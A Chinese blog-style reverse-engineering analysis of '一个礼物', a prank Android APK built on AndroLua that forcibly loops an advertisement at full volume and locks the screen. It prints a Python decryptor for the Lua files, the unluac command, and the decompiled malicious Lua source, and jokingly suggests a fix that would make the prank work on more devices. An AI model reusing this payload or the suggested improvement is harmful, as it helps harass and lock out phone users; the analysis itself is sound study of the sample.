近日，一个名为「一个礼物」的文件在大学中传播开来，手机只要点开就会强制播放“o泡果奶”的魔性广告声，中招者会因该原因产生“社会性死亡”。

该apk与927事件中 送给最好的TA.apk  （以下简称为ta）极度相似
1、效果相同
2、同样使用了androlua
3、主要的恶意lua文件内容几乎相同 

该app大概使用的是这个工具 https://github.com/nirenr/AndroLua_pro

Androlua工程结构：

• init.lua 工程配置文件

• main.lua 工程主入口文件

• layout.aly  工程默认创建的布局文件

由以上可得，该软件本质上是lua + Android上的lua环境，主要的逻辑在main.lua中，接下来对lua进行分析。

lua文件的解密过程位于libluajava.so中：

# -*- coding:utf8 -*-
__author__='[email protected]'
__blog__='http://pcat.cc'
from ctypes import *
import sys
def decrypt(filename):
    s=open(filename,'rb').read()
    outfile='decode_'+ filename
    if s[0]==chr(0x1b) and s[1]!=chr(0x4c):
        rst=chr(0x1b)
        size=len(s)
        v10=0
        for i in range(1,size):
            v10+=size
            v=(c_ulonglong(-2139062143*v10).value>>32)+v10
            v1=c_uint(v).value>>7
            v2=c_int(v).value<0
            rst+=chr(ord(s[i])^(v10+v1+v2)&0xff)
        with open(outfile,'wb') as f:
            f.write(rst)
    else:
        pass
def foo():
    if len(sys.argv)==2:
        filename=sys.argv[1]
    else:
        filename='main.lua'
    decrypt(filename)
if __name__ == '__main__':
    foo()

然后对解密后的lua文件进行反编译：

java -jar unluac_2020_05_28.jar decode_main.lua 

反编译之后是这样的：

require("import")
import("android.app.*")
import("android.os.*")
import("android.widget.*")
import("android.view.*")
import("android.view.View")
import("android.content.Context")
import("android.media.MediaPlayer")
import("android.media.AudioManager")
import("com.androlua.Ticker")
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
// 循环播放 mc.mp3
m = MediaPlayer()
m.reset()
m.setDataSource(activity.getLuaDir() .. "/mc.mp3") // 与ta唯一的区别
m.prepare()
m.start()
m.setLooping(true)
// 周期性定时器
ti = Ticker() // androlua Ticker
ti.Period = 10 //周期
function tick() //设置定时器触发的函数
  activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) //音量调节到15 并弹出音量条
  activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) //锁定全屏
end
ti.onTick = tick
ti.start() //开启定时器，间隔为10ms
function keyDown(A0, A1) //按键监听
  if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then //当按下返回键
    activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
    // 音量调节到15 并弹出 音量条
  end
  return true
onKeyDown = keyDown

测了一下，我这个设备的音乐音量最大值为30，由此可见，这软件兼容性差点事，推荐使用  getStreamMaxVolume(AudioManager.STREAM_MUSIC)   来获取当前设备的音量最大值，统一一下受害者的受害体验。

参考资料：  
1、ChaMd5 “送给最好的TA.apk”简单逆向分析 -  https://cloud.tencent.com/developer/article/1517234

我知道你在看哟